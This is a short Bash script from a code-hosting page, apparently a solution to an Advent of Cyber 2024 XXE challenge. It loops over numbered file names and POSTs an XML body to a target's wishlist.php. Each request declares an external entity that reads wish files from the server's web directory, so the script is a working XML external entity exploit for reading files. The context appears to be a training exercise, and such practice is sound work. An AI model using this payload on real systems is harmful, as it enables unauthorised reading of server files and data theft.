aoc24/5/wishes.sh

24 lines
528 B
Bash
Raw Normal View History

2024-12-08 17:19:06 +01:00
#!/bin/bash
target=`cat trgt`
opts="-sH 'Content-Type: application/xml'"
declare -i i=1
#i=20
while [ $i -gt 0 ]; do
echo "Trying wish_$i.txt..."
p="<!--?xml version='1.0' ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM '/var/www/html/wishes/wish_$i.txt'> ]>
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>"
out=`curl $opts http://$target/wishlist.php -d "$p"`
echo "$out"
echo "$out" | grep -q 'Failed to parse XML'
[ $? -eq 0 ] && break;
sleep 1
i+=1
done